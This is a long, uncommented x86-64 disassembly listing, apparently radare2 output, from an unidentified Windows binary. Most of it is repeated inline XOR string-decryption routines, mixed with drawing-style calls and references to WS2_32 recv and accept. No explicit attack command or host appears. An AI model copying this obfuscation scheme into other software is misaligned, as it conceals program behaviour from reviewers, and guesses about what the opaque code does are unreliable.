lea rcx, [rbp - 9]
mov r14, rax
call fcn.1402c5d10
mov rbx, rax
cmp byte [rax + 0x18], r12b
je 0x1402bfee4
mov r8d, r12d
cmp esi, 2
jl 0x1402bfe9e
movdqa xmm0, xmmword [0x1403f4680]
mov rcx, rax
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, r13d
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x1402bfd90
cmp r8d, 0x19
jge 0x1402bfee4
movsxd r9, r8d
add r9, rbx
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x1402bfeb0
lea rdx, [rbp + 0x968]
mov byte [rbp - 8], r12b
lea rcx, [rbp - 8]
call fcn.1402c5d00
mov r10, rax
cmp byte [rax + 7], r12b
je 0x1402c0053
cmp esi, 2
jl 0x1402c0010
movdqa xmm2, xmmword [0x1403f45a0]
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x1402c0053
mov r9, r10
mov dword [rsp + 0x64], edi
mov r8d, r12d
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, r13d
jl 0x1402c0020
mov qword [rsp + 0x38], r12
lea r8, [0x140593348]
mov qword [rsp + 0x30], r12
mov r9d, reloc.WS2_32.dll_recv
mov dword [rsp + 0x28], r12d
mov rdx, rbx
mov rcx, r10
mov qword [rsp + 0x20], r14
call fcn.14003ccc0
movaps xmm1, xmm12
movaps xmm0, xmm8
call fcn.140015620
lea rcx, [0x1405935d8]
call fcn.140003f50
movaps xmm2, xmm9
lea rcx, [rbp + 0x970]
movaps xmm1, xmm9
mov ebx, eax
call fcn.140001450
mov rcx, qword [0x1405931a8]
mov r8d, ebx
movss xmm0, dword [rax + 4]
movss xmm1, dword [rax]
unpcklps xmm1, xmm0
movq rdx, xmm1
call fcn.140036890
lea rdx, [rbp + 0x10]
mov byte [rsp + 0x60], r12b
lea rcx, [rsp + 0x60]
call fcn.1402c5d40
mov rbx, rax
cmp byte [rax + 0x1d], r12b
je 0x1402c0284
mov r8d, r12d
cmp esi, 2
jl 0x1402c023e
movdqa xmm0, xmmword [0x1403f4680]
mov rcx, rax
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, r13d
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x1402c0130
cmp r8d, 0x1e
jge 0x1402c0284
movsxd r9, r8d
add r9, rbx
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x1e
jl 0x1402c0250
lea rcx, [0x1405935d8]
call fcn.140003f50
mov edx, eax
lea rcx, [rbp + 0x9e0]
call fcn.140043f60
lea rdx, [rbp + 0x8a8]
mov rcx, rax
call fcn.1400366c0
mov rdx, rbx
lea rcx, [rbp + 0x8a8]
call fcn.1400373c0
call fcn.1400156d0
subss xmm0, dword [0x1403f43e8]
call fcn.140015760
movss xmm1, dword [0x1403f44a4]
lea rcx, [rbp + 0x54c]
movaps xmm2, xmm9
call fcn.140001450
lea rdx, [rbp + 0x545]
mov byte [rbp - 7], r12b
lea rcx, [rbp - 7]
mov rbx, rax
call fcn.1402c5d70
movzx ecx, byte [rax + 6]
test cl, cl
je 0x1402c0322
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor byte [rax + 5], 0x3e
xor cl, 0x3f
mov byte [rax + 6], cl
mov rdx, rbx
mov rcx, rax
call fcn.1400383d0
test al, al
je 0x1402c0721
lea rdx, [0x140593348]
lea rcx, [rbp + 0x340]
call fcn.1402c7cc0
lea rdx, [0x1405932e8]
mov rbx, rax
lea rcx, [rbp + 0x10]
call fcn.1402c7cc0
mov r8, rbx
lea rcx, [rbp + 0xe00]
mov rdx, rax
call fcn.14035fc60
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], r12b
cmp byte [rbp + 0x1010], r12b
jne 0x1402c054f
lea rdx, [rbp + 0x10]
call fcn.1402c5da0
mov r10, rax
cmp byte [rax + 0x10], r12b
je 0x1402c0524
mov r8d, r12d
cmp esi, 2
jl 0x1402c04df
movdqa xmm0, xmmword [0x1403f4680]
mov rcx, rax
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, r13d
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x1402c03d1
cmp r8d, 0x11
jge 0x1402c0524
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x1402c04f0
mov r9, r10
lea rcx, [rbp + 0x1290]
mov edx, 3
mov r8d, 0x9c4
call fcn.140044180
lea rcx, [rbp + 0x1290]
call fcn.140044260
jmp 0x1402c0721
lea rdx, [rbp + 0x440]
call fcn.1402c5dc0
mov r9, rax
cmp byte [rax + 0x2f], r12b
je 0x1402c06f4
cmp esi, 2
jl 0x1402c06a9
movdqa xmm0, xmmword [0x1403f4680]
mov edx, r12d
movdqa xmm5, xmmword [0x1403f45a0]
mov rcx, rax
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov r8d, dword [rbp - 0x60]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, r13d
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x30
jl 0x1402c05a0
jmp 0x1402c06f4
mov r10, r9
mov dword [rsp + 0x64], edi
mov r8d, r12d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r10, [r10 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r10 - 1], al
cmp r8d, 0x30
jl 0x1402c06c0
mov edx, 1
lea rcx, [rbp + 0x1290]
mov r8d, 0x9c4
call fcn.140044180
lea rcx, [rbp + 0x1290]
call fcn.140044260
mov dword [0x14059312c], 3
call fcn.140015b00
movss xmm0, dword [rsp + 0x74]
lea rcx, [rbp + 0x554]
movss xmm1, dword [rsp + 0x70]
subss xmm1, dword [0x1403f4448]
mulss xmm0, xmm10
subss xmm1, dword [r15]
movaps xmm2, xmm0
mulss xmm2, xmm10
mulss xmm1, xmm10
addss xmm2, xmm0
subss xmm2, dword [0x1403f43fc]
subss xmm2, dword [0x1403f43cc]
call fcn.140001450
mov rcx, rax
call fcn.140015700
call fcn.1400159b0
lea rcx, [0x1405935d8]
call fcn.140003f50
movaps xmm2, xmm9
lea rcx, [rbp + 0x55c]
movaps xmm1, xmm9
mov ebx, eax
call fcn.140001450
mov rcx, qword [0x140593148]
mov r8d, ebx
movss xmm0, dword [rax + 4]
movss xmm1, dword [rax]
unpcklps xmm1, xmm0
movq rdx, xmm1
call fcn.140036890
movaps xmm1, xmm12
movaps xmm0, xmm8
call fcn.140015620
lea rcx, [0x1405935d8]
call fcn.140003f50
movaps xmm2, xmm9
lea rcx, [rbp + 0x564]
movaps xmm1, xmm9
mov ebx, eax
call fcn.140001450
mov rcx, qword [0x140593138]
mov r8d, ebx
movss xmm0, dword [rax + 4]
movss xmm1, dword [rax]
unpcklps xmm1, xmm0
movq rdx, xmm1
call fcn.140036890
call fcn.140015b00
jmp 0x1402c22f5
cmp eax, 1
jne 0x1402c24cb
call fcn.140011b40
lea rdx, [rbp + 0x56c]
mov byte [rbp - 0x27], r12b
lea rcx, [rbp - 0x27]
mov r15, rax
call fcn.1402c5df0
mov r14d, dword [reloc.WS2_32.dll_accept]
mov rbx, rax
cmp byte [rax + 7], r12b
je 0x1402c0958
cmp r14d, 2
jl 0x1402c0a9a
movdqa xmm2, xmmword [0x1403f45a0]
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm2, xmm0
movd dword [rbx + 4], xmm2
mov edi, dword [rsp + 0x64]
lea rcx, [0x140593558]
call fcn.140003f50
lea rdx, [rbp + 0x574]
mov byte [rbp - 0x26], r12b
lea rcx, [rbp - 0x26]
mov esi, eax
call fcn.1402c5df0
mov r10, rax
cmp byte [rax + 7], r12b
je 0x1402c0b33
cmp r14d, 2
jl 0x1402c0ae8
movdqa xmm2, xmmword [0x1403f45a0]
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x1402c0b33
mov edi, dword [rsp + 0x64]
mov r9, rbx
mov dword [rsp + 0x64], edi
mov r8d, r12d
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, r13d
jl 0x1402c0ab0
jmp 0x1402c095c
mov r9, r10
mov dword [rsp + 0x64], edi
mov r8d, r12d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, r13d
jl 0x1402c0b00
movss xmm6, dword [rsp + 0x74]
lea rdx, [rbp + 0x57c]
mov rcx, qword [0x1405931d0]
movss xmm3, dword [0x1403f44e0]
mov qword [rsp + 0x38], r12
mulss xmm6, xmm10
mov qword [rsp + 0x30], r12
movss xmm2, dword [rcx + 0x14]
mov qword [rsp + 0x28], r10
mulss xmm6, xmm10
movss dword [rsp + 0x20], xmm8
call fcn.140033cc0
lea rdx, [rbp + 0x584]
lea rcx, [rbp - 0x25]
movss xmm0, dword [rax + 4]
mulss xmm0, xmm10
mov byte [rbp - 0x25], r12b
subss xmm6, xmm0
subss xmm6, dword [0x1403f43e0]
call fcn.1402c5df0
mov r10, rax
cmp byte [rax + 7], r12b
je 0x1402c0d03
cmp r14d, 2
jl 0x1402c0cbc
movdqa xmm2, xmmword [0x1403f45a0]
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x1402c0d03
mov r9, r10
mov dword [rsp + 0x64], edi
mov r8d, r12d
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, r13d
jl 0x1402c0cd0
mov rcx, qword [0x1405931d0]
lea rdx, [rbp + 0x58c]
movss xmm3, dword [0x1403f44e0]
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
movss xmm2, dword [rcx + 0x14]
mov qword [rsp + 0x28], r10
movss dword [rsp + 0x20], xmm8
call fcn.140033cc0
movss xmm1, dword [rsp + 0x70]
lea rcx, [rbp + 0x594]
movaps xmm2, xmm6
subss xmm1, dword [rax]
mulss xmm1, xmm10
call fcn.140001450
mov r8, rax
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x59c]
call fcn.140043f00
movss xmm2, dword [0x1403f4428]
mov r9, rax
mov rdx, qword [0x1405931d0]
mov rcx, r15
mov qword [rsp + 0x40], r12
movss dword [rsp + 0x38], xmm8
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], esi
call fcn.14002b3e0
mov rax, qword [rbp - 0x68]
lea rcx, [rbp + 0x5a4]
movss xmm2, dword [rsp + 0x74]
movss xmm1, dword [rsp + 0x70]
subss xmm1, dword [0x1403f44a4]
movss xmm0, dword [rax + 4]
addss xmm0, xmm9
mulss xmm1, xmm10
mulss xmm0, dword [0x1403f43c8]
subss xmm2, xmm0
mulss xmm2, xmm10
subss xmm2, dword [0x1403f43cc]
call fcn.140001450
mov rcx, rax
call fcn.140015700
call fcn.1400159b0
movss xmm1, dword [0x1403f44a0]
lea rcx, [rbp + 0x5ac]
movaps xmm2, xmm9
call fcn.140001450
lea rdx, [rbp + 0x10]
mov byte [rbp - 0x24], r12b
lea rcx, [rbp - 0x24]
mov rsi, rax
call fcn.1402c5cd0
mov rbx, rax
cmp byte [rax + 0x14], r12b
je 0x1402c0fc4
mov r8d, r12d
cmp r14d, 2
jl 0x1402c0f7e
movdqa xmm0, xmmword [0x1403f4680]
mov rcx, rax
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, r13d
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x1402c0e70
cmp r8d, 0x15
jge 0x1402c0fc4
movsxd r9, r8d
add r9, rbx
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x1402c0f90
lea rdx, [rbp + 0x5b4]
mov byte [rbp - 0x23], r12b
lea rcx, [rbp - 0x23]
call fcn.1402c5cc0
mov r10, rax
cmp byte [rax + 7], r12b
je 0x1402c1133
cmp r14d, 2
jl 0x1402c10f1
movdqa xmm2, xmmword [0x1403f45a0]
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
